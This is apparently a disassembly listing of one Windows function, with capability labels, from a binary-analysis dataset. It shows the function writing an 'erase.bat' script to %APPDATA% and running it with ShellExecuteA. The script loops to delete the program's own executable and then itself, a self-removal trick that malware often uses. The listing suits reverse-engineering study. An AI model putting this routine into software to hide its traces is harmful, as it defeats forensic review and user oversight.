Function at 0x4171e0
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x453831
mov eax, dword fs:[0]
push eax
sub esp, 0xc14
mov eax, dword [0x469524]
xor eax, esp
mov dword [esp + 0xc10], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x469524]
xor eax, esp
push eax
lea eax, [esp + 0xc28]
mov dword fs:[0], eax
xor ebx, ebx
push 0x3ff
lea eax, [esp + 0x29]
push ebx
push eax
mov byte [esp + 0x30], bl
call fcn.0043de70
add esp, 0xc
call fcn.0042121c
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x41724e
push 0x80004005
call fcn.0040ad10
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x1c], eax
mov dword [esp + 0xc30], ebx
call fcn.0042121c
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x41727f
push 0x80004005
call fcn.0040ad10
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
push 0x400
lea ecx, [esp + 0x28]
push ecx
push ebx
mov byte [esp + 0xc3c], 1
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x20]
push 0x45aab8
push eax
call fcn.0040a6f0
add esp, 0xc
push 9
push str._APPDATA_
lea ecx, [esp + 0x1c]
call fcn.0040a300
lea ecx, [esp + 0x14]
call fcn.004162d0
lea ecx, [esp + 0x14]
lea edi, [esp + 0x18]
call fcn.004174d0
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417305
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 9
push str.erase.bat
lea ecx, [esp + 0x1c]
call fcn.00408380
mov esi, dword [esp + 0x14]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x417448
call fcn.0042121c
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x417354
push 0x80004005
call fcn.0040ad10
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
push esi
mov byte [esp + 0xc34], 2
mov eax, dword [esp + 0x20]
push eax
push eax
push eax
lea ecx, [esp + 0x28]
push str.if_not_exist___s__goto_EndThis__r_n:Repeat__r_n_tdel___s___r_nif_exist___s__goto_Repeat__r_n:EndThis__r_n_tdel___s_
push ecx
call fcn.0040a6f0
push 0x7ff
lea edx, [esp + 0x441]
push ebx
push edx
mov byte [esp + 0x448], bl
call fcn.0043de70
mov ebp, dword [esp + 0x3c]
add esp, 0x24
cmp dword [ebp - 4], 1
jle 0x4173bb
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [esp + 0x1c]
call fcn.0040a4f0
mov ebp, dword [esp + 0x18]
lea edx, [esp + 0x424]
mov eax, ebp
sub edx, ebp
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x4173c6
lea eax, [esp + 0x424]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4173e0
push ebx
lea ecx, [esp + 0x24]
push ecx
sub eax, edx
push eax
lea edx, [esp + 0x430]
push edx
push edi
mov dword [esp + 0x34], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, ebx
je 0x417424
mov eax, dword [esp + 0x14]
push ebx
push ebx
push ebx
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [ebp - 0x10]
mov byte [esp + 0xc30], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417448
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xc30], bl
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41746f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0xc30], 0xffffffff
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41749a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0xc28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0xc10]
xor ecx, esp
call fcn.0043a8ec
add esp, 0xc20
ret